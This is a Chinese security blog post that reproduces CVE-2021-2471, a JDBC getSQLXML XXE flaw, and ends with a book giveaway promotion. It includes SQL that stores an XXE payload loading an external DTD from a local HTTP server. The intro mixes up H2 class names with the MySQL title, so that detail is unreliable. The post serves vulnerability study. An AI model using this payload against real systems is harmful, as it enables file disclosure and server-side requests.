0x00漏洞介绍
org.h2.jdbc.JdbcResultSet类在分析数据库返回的数据时,提供了getSQLXML(java.lang.String)方法
将字符串数据解析为org.h2.jdbc.JdbcSQLXML类的对象。
当对象执行getSource(Class sourceClass)方法时
如果输入参数为DOMSource.class,会导致XML解析不受保护,导致XXE。
参考资料
https://github.com/h2database/h2database/issues/3195
https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg
0x01漏洞复现
作者在GitHub上传了漏洞环境便以其他人进行复现
https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe
首先先进行创建表跟插入数据:
create table tb_test (
idbigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);
insert into tb_test(message)values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY% remote SYSTEM "http://127.0.0.1:80/xxe.dtd">%remote; ]>');
设置数据库账号密码等
开启http服务,这里使用的python3-m http.server 80
并放入dtd文件
运行漏洞环境poc
收到了jdbc的请求
新书推荐
本书的主要内容是通过扫描等方法来发现、验证和修补漏洞。网络攻防技术是由很多技术组成的,漏洞扫描、发现及验证是攻防技术中比较核心的部分,攻防渗透技术就是一层纸,必须用知识点去捅破它,才能让读者真正理解其原理。本书单独以Web漏洞扫描利用及防御为主线,全面介绍漏洞扫描前置知识、漏洞扫描工具、漏洞扫描分析等,是目前比较系统全面介绍如何进行漏洞扫描和漏洞利用的书。通过对本书的学习,读者可以利用一些开源工具进行实践操作,发现Web服务器存在的漏洞,进而利用验证和修复技术提升网站安全,降低被攻击的风险。
本书共10章,从漏洞扫描基础知识开始,分别介绍了信息收集、漏洞扫描、Web漏洞分析及利用等内容,按照容易理解的方式对这些内容进行分类和总结,每一节都是精挑细选总结出来的,既有基础理论,也有实战技巧和案例总结,切实做到了理论与实战相结合。
书籍作者兵哥说了阅读量1000赠送一本,看本文的阅读量下期直接抽奖!
https://item.jd.com/13471058.html
http://product.dangdang.com/29317011.html
原文始发于微信公众号(Khan安全攻防实验室):CVE-2021-2471 MySQL XXE 复现(文末新书福利赠送)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论